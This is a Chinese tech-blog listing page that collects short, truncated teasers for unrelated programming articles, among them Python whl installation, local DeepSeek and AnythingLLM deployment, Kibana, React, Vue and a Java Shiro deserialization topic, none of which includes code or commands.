博客主页: [小ᶻ☡꙳ᵃⁱᵍᶜ꙳] 本文专栏: AIGC | ChatGPT 文章目录 💯前言💯语言模型的发展历程:从统计方法到大规模预训练模型的演化1 统计语言模型(Statistical Language Model, SLM):统…...
[python]如何安装whl包并解决依赖关系(详细)
一、什么是whl文件? whl是一种预编译的二进制包文件,它主要用于安装python库。简单来讲whl就是一种已经编译好的python库文件。我们可以使用whl包来安装python库。 二、我们为什么需要使用whl文件来安装python库? 有的小伙伴可能会疑惑&…...
Windows中使用Docker安装Anythingllm,基于deepseek构建自己的本地知识库问答大模型,可局域网内多用户访问、离线运行
文章目录 Windows中使用Docker安装Anythingllm,基于deepseek构建自己的知识库问答大模型1. 安装 Docker Desktop2. 使用Docker拉取Anythingllm镜像2. 设置 STORAGE_LOCATION 路径3. 创建存储目录和 .env 文件.env 文件的作用关键配置项 4. 运行 Docker 命令docker r…...
用Kibana实现Elasticsearch索引的增删改查:实战指南
在大数据时代,Elasticsearch(简称 ES)和 Kibana 作为强大的数据搜索与可视化工具,受到了众多开发者的青睐。Kibana 提供了一个直观的界面,可以方便地对 Elasticsearch 中的数据进行操作。本文将详细介绍如何使用 Kiban…...
AI前端开发的国际化发展机遇:ScriptEcho助力全球化布局
在全球化的今天,互联网应用已不再局限于单一市场。高效便捷的前端开发方案成为企业拓展国际市场的关键。得益于人工智能技术的飞速发展,AI代码生成器 正在深刻改变前端开发模式,为国际化应用开发带来前所未有的机遇。然而,国际化开…...
本地基于GGUF部署的DeepSeek实现轻量级调优之一:提示工程(Prompt Engineering)(完整详细教程)
前文,我们在本地windows电脑基于GGUF文件,部署了DeepSeek-1.5B模型,如果想自行对模型进行训练,离线模式下加载本地的DeepSeek模型进行训练时,是不能直接使用GGUF文件进行训练。 请参照我的文章在本地部署好模型之后再继…...
基于 GEE 计算研究区年均地表温度数据
目录 1 代码解析 2 完整代码 3 运行结果 1 代码解析 (1)定义研究区: // 研究区的范围需要自己提前上传 var dataset table;// 将研究区显示在中心,后面的数字为缩放等级,范围从1 - 24 Map.centerObject(dataset,…...
编程语言的深度剖析:从语法到性能优化
引言 随着软件开发的不断进化,编程语言的选择对项目的成功与否具有关键影响。今天的开发者面临着丰富多样的编程语言选择:每一种语言都有独特的优势、特性和适用场景。然而,语言的设计理念、运行机制和优化技巧背后的技术细节却常常被忽视。本…...
设计模式-结构型-外观模式
在软件开发中,随着功能的不断迭代,系统会变得越来越复杂,模块之间的依赖关系也会越来越深。这种复杂性会导致代码难以理解、维护和扩展。而外观模式(Facade Pattern)正是为了解决这一问题而生的。 一、外观模式简介 …...
uniapp中对于文件和文件夹的处理,内存的查询
目录 移动文件到指定文件夹 新增本地文件夹 设定本地文件过期时间,清除超时文件,释放内存 操作本地文件之----删除 uniapp获取设备剩余存储空间的方法 读取本地文件夹下的文件 移动文件到指定文件夹 function moveTempFile(tempFilePath, targetFo…...
计算机网络和操作系统常见面试题目(带脑图,做了延伸以防面试官深入提问)
呜哦~~(✪▽✪)曼波~~~~ 今天我们来聊聊计算机网络和操作系统的面试题目吧!这些题目是面试中经常遇到的,曼波觉得掌握它们对面试非常有帮助哦!(๑✧◡✧๑) --- 1. 计算机网络面试题目 1.1 OSI 七层模型是什么? 回答ÿ…...
C++ Primer 条件语句
欢迎阅读我的 【CPrimer】专栏 专栏简介:本专栏主要面向C初学者,解释C的一些基本概念和基础语言特性,涉及C标准库的用法,面向对象特性,泛型特性高级用法。通过使用标准库中定义的抽象设施,使你更加适应高级…...
JAVA安全—Shiro反序列化DNS利用链CC利用链AES动态调试
前言 讲了FastJson反序列化的原理和利用链,今天讲一下Shiro的反序列化利用,这个也是目前比较热门的。 原生态反序列化 我们先来复习一下原生态的反序列化,之前也是讲过的,打开我们写过的serialization_demo。代码也很简单&…...
16.React学习笔记.React更新机制
一. 发生更新的时机以及顺序## image.png props/state改变render函数重新执行产生新的VDOM树新旧DOM树进行diff计算出差异进行更新更新到真实的DOM 二. React更新流程## React将最好的O(n^3)的tree比较算法优化为O(n)。 同层节点之间相互比较,不跨节点。不同类型的节…...
React使用 useImperativeHandle 自定义暴露给父组件的实例方法(包括依赖)
关键词 React useImperativeHandle 摘要 useImperativeHandle 是 React 提供的一个自定义 Hook,用于在函数组件中显式地暴露给父组件特定实例的方法。本文将介绍 useImperativeHandle 的基本用法、常见应用场景,以及如何处理其依赖项,以帮…...
Vue 过渡动画实现全解析:打造丝滑交互体验
Vue 过渡动画实现全解析:打造丝滑交互体验 在当今竞争激烈的 Web 开发领域,用户体验已成为衡量项目成功与否的关键指标。过渡动画作为提升用户体验的利器,能让应用的交互更加丝滑流畅,给用户带来愉悦的使用感受。在 Vue.js 框架中…...
从 0 开始本地部署 DeepSeek:详细步骤 + 避坑指南 + 构建可视化(安装在D盘)
个人主页:chian-ocean 前言: 随着人工智能技术的迅速发展,大语言模型在各个行业中得到了广泛应用。DeepSeek 作为一个新兴的 AI 公司,凭借其高效的 AI 模型和开源的优势,吸引了越来越多的开发者和企业关注。为了更好地…...
Render上后端部署Springboot + 前端Vue 问题及解决方案汇总
有一个 Vue 前端 和 Spring Boot 后端的动态网页游戏,当前在本地的 5173 端口和运行。你希望生成一个公开链接,让所有点击链接的人都能访问并玩这个游戏。由于游戏原本需要在本地执行 npm install 后才能启动,你现在想知道在部署时是选择 Ren…...
Linux——信号的保存与处理
前言:本文主要介绍信号的保存与处理过程。 一、信号阻塞与信号底层逻辑 在linux下面的进程控制块(PCB),存在一个pending变量用于存放接收到的信号,该变量有32位,变量的位代表信号的类别,变量的值代表是否收到信号。进程会根据该变…...
【deepseek-r1本地部署】
首先需要安装ollama,之前已经安装过了,这里不展示细节 在cmd中输入官网安装命令:ollama run deepseek-r1:32b,开始下载 出现success后,下载完成 接下来就可以使用了,不过是用cmd来运行使用 可以安装UI可视化界面&a…...
Docker Desktop Windows 安装
一、先下载Docker desktop WIndows 下载地址 二、安装 安装超简单 一路 下一步 三、安装之后,桌面会出现一个 小蓝鲸图标,打开它 》更新至最新版本,不然小蓝鲸打开,一会就退出了。 》wsl --update (这个有时比较慢…...
pytorch环境已安装库汇总
简略版总计:python pytorch nb_conda(Jupyter Notebook的插件) 创建环境conda create -n pytorch python3.8 conda install nb_conda命令...
基于Django以及vue的电子商城系统设计与实现
基于Django以及vue的电子商城系统设计与实现 引言 随着电子商务的快速发展,越来越多的企业和个人选择搭建线上商城,以提供更加便捷的购物体验。本文基于Python开发了一套电子商城系统,后端采用Django框架,前端使用Vue.js&#x…...
Spring Boot + ShardingSphere 踩坑记
最近在准备秋招,偷了个轮子项目之后想改个分表,于是有了这篇文章。 省流:请使用shardingsphere-jdbc 5.5.2,并根据官方5.5.2版本文档进行配置,不要使用starter。此外,如果希望使用INTERVAL分片算法&#x…...
【算法学习】DFS与BFS
目录 一,深度优先搜索 1,DFS 2,图的DFS遍历 (1),递归实现(隐士栈) (2),显示栈实现(非递归) 二,广度优先搜索 1,BFS 2,图的BF…...
从零到一:开发并上线一款极简记账本小程序的完整流程
从零到一:开发并上线一款极简记账本小程序的完整流程 目录 前言需求分析与功能设计 2.1 目标用户分析2.2 核心功能设计2.3 技术栈选择 开发环境搭建 3.1 微信开发者工具安装与配置3.2 项目初始化3.3 版本控制与协作工具 前端开发 4.1 页面结构与布局4.2 组件化开发…...
centos安装Nexus Repository OSS(Maven私服)
1. 下载链接:https://help.sonatype.com/en/download.html 2. 注意页面下载页面中的要求:JDK17(启动时提示最低JDK1.8最高JDK17,但是使用JDK1.8无法正常启动) 3. mkdir /opt/nexus 将压缩包上传到该目录并解压。 tar …...
Unity使用iTextSharp导出PDF-02基础结构及设置中文字体
基础结构 1.创建一个Document对象 2.使用PdfWriter创建PDF文档 3.打开文档 4.添加内容,调用文档Add方法添加内容时,内容写入到输出流中 5.关闭文档 using UnityEngine; using iTextSharp.text; using System.IO; using iTextSharp.text.pdf; using Sys…...
CSS 属性选择器详解与实战示例
CSS 属性选择器是 CSS 中非常强大且灵活的一类选择器,它能够根据 HTML 元素的属性和值来进行精准选中。在实际开发过程中,属性选择器不仅可以提高代码的可维护性,而且能够大大优化页面的样式控制。本文将结合菜鸟教程的示例,从基础…...